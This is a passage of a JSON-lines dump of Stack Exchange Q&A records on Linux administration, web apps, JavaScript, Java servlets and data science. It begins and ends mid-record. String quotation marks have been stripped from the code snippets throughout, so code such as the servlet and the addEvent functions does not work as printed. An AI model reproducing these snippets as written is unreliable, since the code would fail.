specification).The main view is a PDF because that's the format the content author is comfortable creating.  But since this PDF will be embedded in the app, I have to assume that it could escape into the wild."  , "title": "application architecture with one or more PDFs"  , "tags": "architecture;ios;ipad;pdf"  , "accepted_answer": "1) URIs and links are universal, they're your friends and enable anything. what is an action for you ?2) Why are you using a PDF in the center view ? is it some sort of PDF reader ?  If yes, why do you bother parsing instead of embedding existing pdf-readers ? If you're already using PDF for the center, why would it be any worse to use it on the side ??A) If you're concerned about other platforms, why not make it web ?B) All source code can be stolen, your app will always be much easier to copy than to write and if you want to keep your market share your only solution is to remain ahead in terms of customer perception (i.e. noone switches from your app to the copy and people switch from the copy to your app because you have the features first and it works better)."  } 
{  "id": "_webapps.101407"  , "question": "New to Cognito...I want to create a form so that each section is filled out by a different user.Example:User A fills out section 1 and sends form to User B User B fills out section 2 and sends form to User C User C fills out section 3 and sends form to Upper Management for approvalIs this possible? How?"  , "title": "Multiple people fill out single Cognito form"  , "tags": "cognito forms"  } 
{  "id": "_unix.367925"  , "question": "Following this question, CIFS randomly losing connection to Windows share , about share problems of a Debian Jessie server mounting a remote Windows CIFS dir hosted by a Windows server ;I just found out I have like 12 times the same remote CIFS mountpoint mounted with the same name in the same dir, when doing sudo mount -a.How can that happen? How can I prevent that?My /etc/fstab, some mounts made with://10.2.1.2/XX/ZZ/YY    /mnt/mount_point        cifs    credentials=/root/.smbcredentials,iocharset=utf8,file_mode=0770,dir_mode=0770,uid=1001,gid=1001 0 0and some more with://10.2.1.2/XX/ZZ/YY    /mnt/mount_point        cifs    credentials=/root/.smbcredentials,iocharset=utf8,file_mode=0770,dir_mode=0770,uid=1001,gid=1001,vers=2.1 0 0Example of the multiple mountpoints:$mount//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=1.0,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=1.0,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=1.0,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=2.1,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=2.1,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)"  , "title": "CIFS mounting multiple copies of the same share on the same mount point"  , "tags": "debian;cifs"  , "accepted_answer": "There has been an open bug in Debian in the past, #589218cifs-utils: mount -a mounts cifs shares multiple times (+1 time for each call of mount -a)However the general consensus seems to be this is a feature, and not a bug.Please do avoid doing sudo mount -a when trying to recover the service, and start doing:sudo mount -o remount -aOtherwise, you are mounting (yet) again the remote share in your mount point.On other hand, at least the good news is that you can unmount them in the reverse other you mounted them, and I would use as a remediation manoeuvre, n-1 times the corresponding umount command. "  } 
{  "id": "_unix.213349"  , "question": "E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?What does these exceptions mean? I am getting these errors when I am trying to install simultaneously? Is there any means to avoid them??"  , "title": "Multiple simultaneous instances of apt-get"  , "tags": "apt;concurrency"  } 
{  "id": "_unix.26800"  , "question": "I currently have this log/run script as part of a runit service:#!/bin/shset -eexec svlogd -tt ./mainIf I tail -f log/main/current, I don't see the service output written in real time.  It seems to only dump the stdout in 4K increments.  So if the service is used lightly, I can't see the most recent log data, unless I actually do an 'sv restart' on the service, in which case all data is written to the logs before the service is restarted.I've played around with the -l and -b arguments, but these did not have any effect (and I'm not even sure it matters at this point)."  , "title": "How do I get svlogd to write data more often within a runit job"  , "tags": "linux;logs"  , "accepted_answer": "It look like the fault unfortunately lies in the daemon which does not flush it's stdout after writing the log data.svlogd does only line buffering so it outputs complete lines to the log file as soon as they arrive on stdin."  } 
{  "id": "_softwareengineering.299247"  , "question": "In the ISO-8601 there are multiple hour formats, one of them is kk for hours 1-24. What is the purpose of this? Are there countries that offset their time? Is it for military usages?The wikipedia article didn't clarify the exact nature between HH and kk. The main source of my concern is the behaviour of the formats in SimpleDataFormatter.Edit:The direct part from the SimpleDateFormat that I'm referring to is this:H   Hour in day (0-23)  Number  0k   Hour in day (1-24)  Number  24In usage...HH:mm:ss  // 00:00:00kk:mm:ss  // 01:00:00"  , "title": "What is the difference between kk and HH+1 in ISO-8601?"  , "tags": "java;date format"  , "accepted_answer": "Direct answer to your question, there is no difference. The point is you do not need to do the +1 computation by using kk. My source can be found at: http://www-01.ibm.com/support/knowledgecenter/SSKM8N_8.0.0/com.ibm.etools.mft.doc/ak05616_.htm?lang=ptHere you find this description:HH  hour of day in 24 hour form (00-23)kk  hour of day in 24 hour form (01-24)Now, regarding HH+1 = kk. Example: HH: 00 in kk is 01. You can do this for each of the values.As for the usage, it is for i18n purposes or different usages as you already mentioned. In different parts of world, different notations are used. But normally, you would only use kk in situations in which you have business hours which goes beyond or after 24 hours. For example, TV stations."  } 
{  "id": "_webapps.56643"  , "question": "I'm using the Admin SDK with Google Apps Script to create a directory of user's names and emails on a Google Site. The code seems to work fine because when I view the logs I see the results.[14-02-04 12:24:05:996 GMT] Joe Ardee (joe.ardee@example.com)[14-02-04 12:24:05:997 GMT] The Headmaster (jim.dix@example.com)[14-02-04 12:24:05:997 GMT] Edward Smith(edward.smith@example.com)After I publish it as a web app and add it to my page using the insert scripts function I get a 500 error, on the page I get a message saying Google Drive encountered an error. When I published the app I set it so that only I can access it. I have also enabled the API and enable API access in the admin console.Here is the code I am using;function listAllUsers() {  var users = AdminDirectory.Users.list({domain: 'example.com'}).users;  if(users.length != 0) {    for (var i=0; i<users.length; i++) {      var user = users[i];      Logger.log('%s (%s)', user.name.fullName, user.primaryEmail, user.phones);    }  } else {    Logger.log('No users found.');  }}(Instead of example.com in domain I have used the correct domain)"  , "title": "500 error with Google admin sdk"  , "tags": "google apps script;google sites"  , "accepted_answer": "That's because it needs a whole different approach. Use the following code.Codefunction doGet(e) {  var app = UiApp.createApplication();  var flex = app.createFlexTable();    var users = AdminDirectory.Users.list({domain: 'jacobjantuinstra.nl'}).users;  if(users.length != 0) {    for (var i=0; i<users.length; i++) {      var user = users[i];      flex.setWidget(i, 0, app.createLabel(user.name.fullName))      flex.setWidget(i, 1, app.createLabel(user.primaryEmail));    }  } else {    flex.setWidget(0, 0, app.createLabel('No users found.'));  }  app.add(flex);  return app;}"  } 
{  "id": "_softwareengineering.339018"  , "question": "I'm trying to set up a very simple user defined variables that can be set in an administration panel and used in the system.  Our application is going in the direction of configuration over custom development.  This would be almost identical to setting a property in Spring then injecting it in with @Value '${property}' boolean fooThe best way I can think to go about this is to have a table with every value stored as a String and its associated data type. Then have a class act like the application context which pulls in the values from the database, casts them to the data type specified (handling errors), then returning them with some sort of generic get method.Is there a more pre-built way potentially leveraging what Spring already has?  Right now we have a property file that gets managed by a 'application specialist' but the customers want an admin to have the ability to alter basic values from the UI without restarting the application or contacting someone."  , "title": "Implementing Data Type Independent User Set Values"  , "tags": "java;spring;generics;data types;properties"  } 
{  "id": "_unix.195608"  , "question": "I am using Linux Mint and I am newbie. Someone is trying to access my computer via my MAC Address and open port. I have some questions:I know that there are different type of port like TCP and UDP. Should I close ALL (TCP and UDP, ...) the open (Listing) port to keep my computer save from hacking?How to close a port, if it is required?"  , "title": "Close the neccessary Ports"  , "tags": "linux;firewall;tcp;udp"  } 
{  "id": "_reverseengineering.1727"  , "question": "I would like more information about the mathematical foundations of vulnerability and exploit development.online sources or books in the right direction will be helpful."  , "title": "mathematical background behind exploit development and vulnerabilities"  , "tags": "vulnerability analysis"  , "accepted_answer": "I would read up on static program analysisStatic program analysis is the analysis of computer software that is performed without actually executing programs (analysis performed on executing programs is known as dynamic analysis). In most cases the analysis is performed on some version of the source code and in the other cases some form of the object code.dynamic program analysis,Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor. For dynamic program analysis to be effective, the target program must be executed with sufficient test inputs to produce interesting behaviorabstract interpretation,In computer science, abstract interpretation is a theory of sound approximation of the semantics of computer programs, based on monotonic functions over ordered sets, especially lattices. It can be viewed as a partial execution of a computer program which gains information about its semantics (e.g. control-flow, data-flow) without performing all the calculations.symbolic execution,In computer science, symbolic execution (also symbolic evaluation) refers to the analysis of programs by tracking symbolic rather than actual values, a case of abstract interpretation. The field of symbolic simulation applies the same concept to hardware. Symbolic computation applies the concept to the analysis of mathematical expressions.  Symbolic execution is used to reason about all the inputs that take the same path through a program.symbolic computation,In mathematics and computer science, computer algebra, also called symbolic computation or algebraic computation is a scientific area that refers to the study and development of algorithms and software for manipulating mathematical expressions and other mathematical objectssymbolic simulation,In computer science, a simulation is a computation of the execution of some appropriately modelled state-transition system. Typically this process models the complete state of the system at individual points in a discrete linear time frame, computing each state sequentially from its predecessor.model checking,In computer science, model checking aka property checking refers to the following problem: Given a model of a system, exhaustively and automatically check whether this model meets a given specification.might want to read System Assurance: Beyond Detecting Vulnerabilities.Rolf probably has a ton of really good input on this subject. Read about his advice here"  } 
{  "id": "_webmaster.46855"  , "question": "We use Joomla with Remository to store and manage publications (don't ask me why). Files (PDF) are stored in a database and can be accessed via dynamic, rewritten links of the formhttp://domain.de/some/path/filename.htmlHere is an example: some fileCurrent browsers reliably detect that they get a PDF. wget uses the .html filename but after renaming I get a working PDF file. curl behaves similarly; piping its output into a (suitably named) files gives a working file. All this leads me to believe that -- against all odds, one might say -- the data our system provides is generally valid and understandable for clients.However, Google does not seem to index PDF files referenced by such links. Our publication list is indexed, but the PDFs linked there are not (they don't show up in web and Scholar searches).How can we tell search robots to retrieve our files and index them?"  , "title": "How to make Google index files retrieved from database?"  , "tags": "seo;indexing;links;pdf;dynamic"  } 
{  "id": "_unix.334110"  , "question": "I'm using pfSense, which uses a customised base of FreeBSD 10. pkg -vv shows the following relevant definitions:PKG_DBDIR = /var/db/pkg;PKG_CACHEDIR = /var/cache/pkg;PORTSDIR = /usr/ports;REPOS_DIR [    /etc/pkg/,    /usr/local/etc/pkg/repos/,]Repositories:    pfSense-core: {      url             : pkg+https://pkg.pfsense.org/pfSense_v2_3_2_amd64-core,      enabled         : yes,      priority        : 0,      mirror_type     : SRV    }    pfSense: {      url             : pkg+https://pkg.pfsense.org/pfSense_v2_3_2_amd64-pfSense_v2_3_2,      enabled         : yes,      priority        : 0,      mirror_type     : SRV    }Looking at the two directories named in REPOS_DIR:/etc/pkg contains what looks like a default FreeBSD.conf (enabled=yes)./usr/local/etc/pkg/repos contains a different FreeBSD.conf (enabled=no) and also a pfsense.conf that contains the two repo definitions reported by pkg -vv.There is also /usr/local/share/pfSense/pkg/repos which contains the same FreeBSD.conf and pfsense.conf as /usr/local/etc/pkg/repos (the latter under a different filename though: pfSense-repo.conf), and also a link to further development repos in a separate file pfSense-repo-devel.conf.I'm trying to work out the logic by which pkg chooses which of these overrides which others, especially since when a priority is given, in each case it's the same (=0). Does a /usr/local/etc/pkg/*.conf file automatically override a similarly-named file at /etc/pkg/*.conf, if both are present? If not, what's going on and how is pkg choosing which repos to pay attention to?"  , "title": "How pkg is choosing its repos (FreeBSD 10)"  , "tags": "package management;freebsd;pfsense"  , "accepted_answer": "The behaviour is actually all documented in the manual (q.v.).  REPOS_DIR is taken from pkg.conf and its directories are processed in the order given.  Files in each directory are processed in alphabetical order.  There's no notion of comparing filenames.  Rather, a file that is processed later overrides anything earlier that it conflicts with.Further readingpkg.conf.  §5.  FreeBSD Manual.  2015."  } 
{  "id": "_unix.247034"  , "question": "I have been having a lot of issues getting an encrypted multi-disk root filesystem to boot up reliably under systemd on Debian Jessie while only having to enter the password once. Previously I've handled this in Debian by using the decrypt_derived keyscript in /etc/crypttab for every device except the first, and this worked well.However, this does not play well when systemd is introduced. systemd-cryptsetup-generator does not handle keyscripts, and when trying to find more information about how to solve this, I only found vague references to some custom password agent in an email from one of the systemd developers which only gives the unhelpful advice that it is easy to write additional agents. The basic algorithm to follow looks like this and then a list of 13 steps to take. Clearly not meant for an end user.I Debian, I have got it to work to some degree by playing with a couple of kernel options that tells systemd to ignore /etc/crypttab during boot, or ignore it completely. Debian's update-initramfs will copy the keyscript to the initramfs and unlock the devices before systemd takes over, but I have found that it leads to issues later because systemd now does not have any unit files for the decrypted devices so mounts that rely on them sometimes seem to hang or get delayed. One place where this breaks is when trying to mount btrfs subvolumes; they are mounted from the same physical device as root, but systemd is not aware that the devices are already unlocked, and halts at boot.TL;DR - my actual question:What is the systemd way to handle an encrypted root filesystem spanning multiple devices (be it a btrfs system, LVM mirror, etc) where you only need to enter the password once? I hardly consider this to be an exceptionally unusual case, so here's hoping that there is a method in place to do this.Some possible solutions comes to mind:Tiny encrypted partition containing a keyfile, which is unlocked before root. The root devices would refer to this keyfile. How would I tell this to systemd?Some sort of caching password agent running in initramfs, which remembers the password and hands it to all devices needing it at boot.Someone has already written a systemd agent emulating decrypt_derived. How would I integrate this in my boot procedure?I do run Debian exclusively, but after having tried for days to find a solution to my problem I feel that this is perhaps a more system wide problem."  , "title": "What is the proper way to unlock a root filesystem spanning two LUKS devices by only entering the password once, using systemd?"  , "tags": "systemd;btrfs;luks;root filesystem"  , "accepted_answer": "This is a well known problem, currently without solution.On Debian (and other systems), systemd fails to assemble an encrypted BTRFS array, because of the parallel processes and various tests. All the volumes of a BTRFS array must be present for it to be mounted (properly), but as all the volumes of the BTRFS array have the same UUID (by design), systemd try to mount the first volume that it opens without waiting for the others (which would expose the same UUID, confusing systemd even more).Currently, the only way to use encrypted BTRFS volumes on Debian is to not use systemd (packages sysvinit-core, systemd-shim, etc.). There is no possible systemd way."  } 
{  "id": "_unix.269739"  , "question": "I'm running a live CD linux distro and I'm getting out of memory exceptions. >java -version#Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000646e00000, 264241152, 0) failed; error='Cannot allocate memory' (errno=12)## There is insufficient memory for the Java Runtime Environment to continue.# Native memory allocation (mmap) failed to map 264241152 bytes for committing reserved memory.# An error report file with more information is saved as:# /tmp/hs_err_pid50274.logI ran free -m  command and it shows ~250Mb of free RAM and 19Gb used for cache.>free -m            total       used       free     shared    buffers     cachedMem:        24128      23827        301          0         15      18929-/+ buffers/cache:      4881      19247Swap:            0          0          0Here is the memory dump:---------------  S Y S T E M  ---------------OS:RapidLinux 20151103uname:Linux 3.18.22 #1 SMP Fri Oct 9 19:28:11 UTC 2015 x86_64libc:glibc 2.21 NPTL 2.21 rlimit: STACK 8192k, CORE infinity, NPROC 96487, NOFILE 4096, AS infinityload average:2.08 1.73 1.30/proc/meminfo:MemTotal:       24708040 kBMemFree:          307572 kBMemAvailable:     173696 kBBuffers:           15612 kBCached:         19383916 kBSwapCached:            0 kBActive:          3784768 kBInactive:       19327244 kBActive(anon):    3742084 kBInactive(anon): 19303520 kBActive(file):      42684 kBInactive(file):    23724 kBUnevictable:       15016 kBMlocked:           15016 kBSwapTotal:             0 kBSwapFree:              0 kBDirty:                96 kBWriteback:             0 kBAnonPages:       3727472 kBMapped:            55972 kBShmem:          19327344 kBSlab:             671580 kBSReclaimable:     116376 kBSUnreclaim:       555204 kBKernelStack:       23664 kBPageTables:        24588 kBNFS_Unstable:          0 kBBounce:                0 kBWritebackTmp:          0 kBCommitLimit:    12354020 kBCommitted_AS:   28666748 kBVmallocTotal:   34359738367 kBVmallocUsed:      738156 kBVmallocChunk:   34346400260 kBHardwareCorrupted:     0 kBAnonHugePages:         0 kBDirectMap4k:       11748 kBDirectMap2M:     2072576 kBDirectMap1G:    23068672 kBMemory: 4k page, physical 24708040k(307572k free), swap 0k(0k free)I tried to clear the cache by running sync ; echo 3 | sudo tee /proc/sys/vm/drop_caches as a sanity check and surprise surprise the cache did not go down at all, but the command completed successfully. There was a ton of old logs that I deleted (from the aufs / which should be in RAM), ran the command to clear the cache - still nothing.The rest of the file system takes only ~9Gb. How can I force my cache to clear?"  , "title": "How can I clear my cache?"  , "tags": "kali linux;cache;out of memory"  } 
{  "id": "_webapps.92466"  , "question": "You can ignore column D, E, F and G cause those are just alphabetically ordered. So basically I want to draw the names of the responses on the responsesheet to this tab (see screenshot), which is what I did. But now, does a formule or script excist where the responses of the same name get overwritten by last edit? For example: If AiwenLyra signed up at first as 'Yes and Yes', and later on signs up as a 'No and No'.. I want the last answer to be the only one. So basically answers would have to get replaced. Does anything like that excists at all?Thanks in advance!"  , "title": "Replacing last edited response with the old one in another tab"  , "tags": "google spreadsheets"  } 
{  "id": "_softwareengineering.105630"  , "question": "How can I study C# from Stack Overflow?I have only the basics of the C# language with some simple exercises; now I want to go to the highest level C# through Stack Overflow, reading any questions tagged c#. The questions are not ordered from easiest to hardest.Do you have any idea on how to learn C# from Stack Overflow?"  , "title": "How can I study C# from Stack Overflow"  , "tags": "c#"  , "accepted_answer": "NO, you can't. But you can surely get help, when you get stuck at some point. Stack Overflow is a Q&A answers website, which provides answers to code-related questions from users all around the world in various languages, including C#. Questions asked on Stack Overflow are particular to a project, user and his requirement. Since they are very specific about a particular project, learning from them will be nightmare and hell lot confusing. I suggest you start some project, like an accounting application or a website. Keep going through, and when you get stuck, post the question on SO; the humble community will definitely get you through.Or you can read a book, which shows sample applications. You can find various books on Problem-Design-Solution format.  "  } 
{  "id": "_codereview.39246"  , "question": "I'm learning JavaScript and I was trying to make a custom addEvent function that would care about compatibility (I don't want to use jQuery [nor any other library] yet, in order for me to master the bases of JavaScript).I came across this code on github (https://gist.github.com/eduardocereto/955642):/** * Cross Browser helper to addEventListener. * * @param {HTMLElement} obj The Element to attach event to. * @param {string} evt The event that will trigger the binded function. * @param {function(event)} fnc The function to bind to the element.  * @return {boolean} true if it was successfuly binded. */var cb_addEventListener = function(obj, evt, fnc) {    // W3C model    if (obj.addEventListener) {        obj.addEventListener(evt, fnc, false);        return true;    }     // Microsoft model    else if (obj.attachEvent) {        return obj.attachEvent('on' + evt, fnc);    }    // Browser don't support W3C or MSFT model, go on with traditional    else {        evt = 'on'+evt;        if(typeof obj[evt] === 'function'){            // Object already has a function on traditional            // Let's wrap it with our own function inside another function            fnc = (function(f1,f2){                return function(){                    f1.apply(this,arguments);                    f2.apply(this,arguments);                }            })(obj[evt], fnc);        }        obj[evt] = fnc;        return true;    }    return false;};But I was not pleased with the solution even tho it is very short and readable so I made my own (below) with a little help from the book I'm reading: Secrets of the JavaScript NinjaI want to know if you guys think I have something wrong or even if you have any comments or improvements that I might not be seeing:I commented on that post the following (I'm pg2800 on github):ORIGINAL COMMENT: 12-January-2014. UPDATED 13-January-2014. I was intrigued with your implementation and I believe I added some best practices to the code in general and also added some improvements to the traditional way.All three implementations of the addEvent custom method below (meaning: with or without any of the addEventListener or attachEvent -- forcing the browser to test all three) worked for: CHROME: Version 32.0.1700.72 m FIREFOX: 26.0 EXPLORER: Version 10.0.9200.16750Needless to say; I didn't examine all possible scenarios in my test cases, only a few... Let me know what you think.(function(){  // I test for features at the beginning of the declaration instead of everytime that we have to add an event.  if(document.addEventListener) {    window.addEvent = function (elem, type, handler, useCapture){      elem.addEventListener(type, handler, !!useCapture);      return handler; // for removal purposes    }    window.removeEvent = function (elem, type, handler, useCapture){      elem.removeEventListener(type, handler, !!useCapture);      return true;    }  }   else if (document.attachEvent) {    window.addEvent = function (elem, type, handler) {      type = on + type;      // Bounded the element as the context       // Because the attachEvent uses the window object to add the event and we don't want to polute it.      var boundedHandler = function() {        return handler.apply(elem, arguments);      };      elem.attachEvent(type, boundedHandler);      return boundedHandler; // for removal purposes    }    window.removeEvent = function(elem, type, handler){      type = on + type;      elem.detachEvent(type, handler);      return true;    }  }   else { // FALLBACK ( I did some test for both your code and mine, the tests are at the bottom. )    // I removed wrapping from your implementation and added closures and memoization.    // Browser don't support W3C or MSFT model, go on with traditional    window.addEvent = function(elem, type, handler){      type = on + type;      // Applying some memoization to save multiple handlers      elem.memoize = elem.memoize || {};      // Just in case we haven't memoize the event type yet.      // This code will be runned just one time.      if(!elem.memoize[type]){        elem.memoize[type] = { counter: 1 };        elem[type] = function(){          for(key in nameSpace){            if(nameSpace.hasOwnProperty(key)){              if(typeof nameSpace[key] == function){                nameSpace[key].apply(this, arguments);              };            };          };        };      };      // Thanks to hoisting we can point to nameSpace variable above.      // Thanks to closures we are going to be able to access its value when the event is triggered.      // I used closures for the nameSpace because it improved 44% in performance in my laptop.      var nameSpace = elem.memoize[type], id = nameSpace.counter++;      nameSpace[id] = handler;      // I return the id for us to be able to remove a specific function binded to the event.      return id;    };    window.removeEvent = function(elem, type, handlerID){      type = on + type;      // I remove the handler with the id      if(elem.memoize && elem.memoize[type] && elem.memoize[type][handlerID]) elem.memoize[type][handlerID] = undefined;      return true;    };  };})();The first two (with addEventListener or attachEvent) run as the original ones, didn't notice any differences. But for the traditional way:My original test was 150k repetitions of adding an empty function to the element's event and then run the event. But as you wrap the handlers onto each other; javascript sends the next error: Maximum call stack size exceeded which is only natural.Then I tested for the maximum stack size allowed which was 7816 ( I made that my test size), the results of adding 7816 empty functions to the same type of event of the same element and then executing the event was:Your code: minimum = 19ms, maximum = 33ms, average = 30ms. My code: minimum = 20ms, maximum = 37ms, average = 27ms.There is obviously not an improvement on performance whatsoever, but we can now delete specific handlers and also we have room for more handlers, and we can use this to standarize our code with the same function to add and to remove events, so we don't have to worry about X-browser considerations.If we were to have very little to none memory available, I would definitely go with your implementation.--> Tests done with a Sony vaio 8GB RAM, core i7 second generation.i.e.var div = getElementById(divID); // returns a div elementvar handler = addEvent(div, click, function(){ /* do something */}, false);/* more code */removeEvent(div, click, handler);P.S. Pardon me if I made any grammatical or orthographic mistakes, English is not my native language"  , "title": "JavaScript custom addEvent function to add event handlers"  , "tags": "javascript;event handling"  , "accepted_answer": "Your code is clean and consistent in style and formatting. Good job.I've noticed two small things that are not problems but rather they were unexpected to me and might trip you coming back to this code in 6 months tieyou end all your code blocks with }; when you don't need to.Your code:if(something){    // ...};This will not cause issues but it isn't needed. You only need it for statements1 not code blocks.statements:var something = { someProp: true, other: 'test' };var somethingelse = function () {     // ...};myObject.someMethod();code blocks:if(logicalTest){    // ...}while(count < 0){    // ...}function myFunction(){    // ...}elem.memoize[type] = { counter: 1 }; and id = nameSpace.counter++; means there will never be a handler with id 0. I'm not sure that is a problem but I assumed it would start at 0 like all JavaScript lists which are 0-based list.In fact I might actually use a list.elem.memoize[type] = [];elem[type] = function(){    for(var i =0; i <= elem.memoize[type].length; i++){        if(typeof elem.memoize[type][i] == function){            elem.memoize[type][i].apply(this, arguments);        }    }};// ... var nameSpaceList = elem.memoize[type], id = nameSpaceList.length;1 You don't technically need it for statements there are ways of writing javascript without them but I am personally not a fan."  } 
{  "id": "_unix.384488"  , "question": "Device files are not files per se. They're an I/O interface to use the devices in Unix-like operating systems. They use no space on disk, however, they still use an inode as reported by the stat command:$ stat /dev/sda      File: /dev/sda      Size: 0               Blocks: 0          IO Block: 4096   block special fileDevice: 6h/6d   Inode: 14628       Links: 1     Device type: 8,0Do device files use physical inodes in the filesystem and why they need them at all? "  , "title": "Why do special device files have inodes?"  , "tags": "filesystems;devices;inode;stat"  , "accepted_answer": "The short answer is that it does only if you have a physical filesystem backing /dev (and if you're using a modern Linux distro, you probably don't).The long answer follows:This all goes back to the original UNIX philosophy that everything is a file.  This philosophy is part of what made UNIX so versatile, because you could directly interact with devices from userspace without needing to have special code in your application to talk directly to the physical hardware.Originally, /dev was just another directory with a well-known name where you put your device files.  Some UNIX systems still take this approach (I believe OpenBSD still does), and you can usually tell if a system is like this because it will have lots of device files for devices the system doesn't actually have (for example, files for every possible partition on every possible disk).  This saves space in memory and time at boot at the cost of using a bit more disk space, which was a good trade off for early systems because they were generally very memory constrained and not very fast.  This is generally referred to as having a static /dev.On modern Linux systems (and I believe also FreeBSD and possibly recent versions of Solaris), /dev is a temporary in-memory filesystem populated by the kernel (or udev if you use Systemd, because they don't trust the kernel to do almost anything).  This saves some disk space at the price of some memory (usually less than a few MB) and a very small processing overhead.  It also has a number of other advantages, with one of the biggest being that it's easier to detect hot-plugged hardware.  This is generally referred to as having a dynamic /dev.In both cases though, device nodes are accessed through the regular VFS layer, which by definition means they have to have an inode (even if it's a virtual one that just exists so that stuff like stat() works like it's supposed to.  From a practical perspective, this has zero impact on systems that use a dynamic /dev because they just store the inodes in memory or generate them as needed, and near zero impact where /dev is static because inodes take up near zero space on-disk and most filesystems either have no upper limit on them or provision way more than anybody is likely to ever need."  } 
{  "id": "_datascience.5166"  , "question": "I have the following data($x^1_i$, $y^1_i$) for $i=1,2,...N_1$($x^2_i$, $y^2_i$) for $i=1,2,...N_2$...($x^m_i$, $y^m_i$) for $i=1,2,...N_m$Is it possible to train a neural net to produce some $y_k$ where $k<=min(N)$ given a input ${x_1, x_2, ..., x_{k-1}}$?If so any suggestion of documentation/ library I can look at (preferably python)?"  , "title": "training neural net with multiple sets of time-series data"  , "tags": "machine learning;dataset;neural network;time series;regression"  , "accepted_answer": "Yes, this is a straightforward application for neural networks.  In this case yk are the outputs of the last layer (classifier); xk is a feature vector and yk is what it gets classified into.  For simplicity prepare your data so that N is the same for all.  The problem you have is perhaps that in the case of time series you won't have enough data: you need (ideally) many 1000's of examples to train a network, which in this case means time series, not points.  Look at the specialized literature on neural networks for time series prediction for ideas on network architecture.Library: try Pylearn2 at http://deeplearning.net/software/pylearn2/  It's not the only good option but it should serve you well."  } 
{  "id": "_codereview.67205"  , "question": "I have a servlet that processes user registration to a website. It takes inputs from an HTML form like username, password, email, etc.MySQL Table:CREATE TABLE IF NOT EXISTS user(    user_id VARCHAR(255),    user_password VARCHAR(255) NOT NULL,    user_last_name VARCHAR(255),    user_first_name VARCHAR(255),    user_email VARCHAR(255) UNIQUE NOT NULL,    user_type TINYINT UNSIGNED NOT NULL, /* VALUES: 0 - Guest, 1 - Admin, 2 - User */       PRIMARY KEY(user_id));Servlet:protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    String userId = request.getParameter(username);    String userFirstName = request.getParameter(firstname);    String userLastName = request.getParameter(lastname);    String userEmail1 = request.getParameter(email1);    String userEmail2 = request.getParameter(email2);    String userPassword1 = request.getParameter(pass1);    String userPassword2 = request.getParameter(pass2);    String captchaAnswer = request.getParameter(answer);    try {        // simple captcha        HttpSession session = request.getSession(true);        Captcha captcha = (Captcha) session.getAttribute(Captcha.NAME);        request.setCharacterEncoding(UTF-8);          boolean isCaptchaCorrect = captcha.isCorrect(captchaAnswer);        session.setAttribute(isCaptchaCorrect, isCaptchaCorrect);        session.setAttribute(userId, userId);        session.setAttribute(userFirstName, userFirstName);        session.setAttribute(userLastName, userLastName);        session.setAttribute(userEmail1, userEmail1);        session.setAttribute(userEmail2, userEmail2);        if(isCaptchaCorrect) {            // put database entries into a String[]            DatabaseManipulator dm = new DatabaseManipulator();            String[] usernameArray = dm.dbEntriesToArray(user_id);            String[] emailArray = dm.dbEntriesToArray(user_email);            // validate inputs            RegistrationModule rm = new RegistrationModule();            boolean hasDuplicateUsername = rm.hasDuplicate(usernameArray, userId);            boolean hasDuplicateEmail = rm.hasDuplicate(emailArray, userEmail1);            boolean isEmailMatch = rm.isMatch(userEmail1, userEmail2);            boolean isPasswordMatch = rm.isMatch(userPassword1, userPassword2);            // bind objects to session            session.setAttribute(hasDuplicateUsername, hasDuplicateUsername);            session.setAttribute(hasDuplicateEmail, hasDuplicateEmail);            session.setAttribute(isEmailMatch, isEmailMatch);            session.setAttribute(isPasswordMatch, isPasswordMatch);            // throw user-defined exceptions            if(hasDuplicateUsername) {                try {                    throw new UsernameAlreadyExistsException();                } catch(UsernameAlreadyExistsException uaee) {                    // redirect to result page                    response.sendRedirect(register-result.jsp);                }            } else if(hasDuplicateEmail) {                try {                    throw new EmailAlreadyExistsException();                } catch(EmailAlreadyExistsException eaee) {                    response.sendRedirect(register-result.jsp);                }            } else if(!isEmailMatch) {                try {                    throw new MismatchedEmailsException();                } catch(MismatchedEmailsException mee) {                    response.sendRedirect(register-result.jsp);                }            } else if(!isPasswordMatch) {                try {                    throw new MismatchedPasswordsException();                } catch(MismatchedPasswordsException mpe) {                    response.sendRedirect(register-result.jsp);                }            // register success            } else {                // assign if match                String userPassword = userPassword1;                String userEmail = userEmail1;                // assemble user bean object                User user = UserAssembler.getInstance(                    userId,                    userPassword,                    userLastName,                    userFirstName,                    userEmail,                    2 // 2 = User                );                // insert user into database                dm.registerUser(user);                  response.sendRedirect(register-result.jsp);            }        // wrong captcha answer        } else {            response.sendRedirect(register-result.jsp);                       }    } catch(NullPointerException npe) {                 // redirect when servlet is illegally accessed        response.sendRedirect(index.jsp);    }}Everything works as it should, however during a quick code review from my instructor, he commented I should not be catching NPEs. I am using the catch clause to redirect the user to index.jsp if they try to jump to the Servlet URL without going through the required pages. My other servlets are formatted similarly as well.  What is the best practice if catching NPE is not encouraged?"  , "title": "User registration 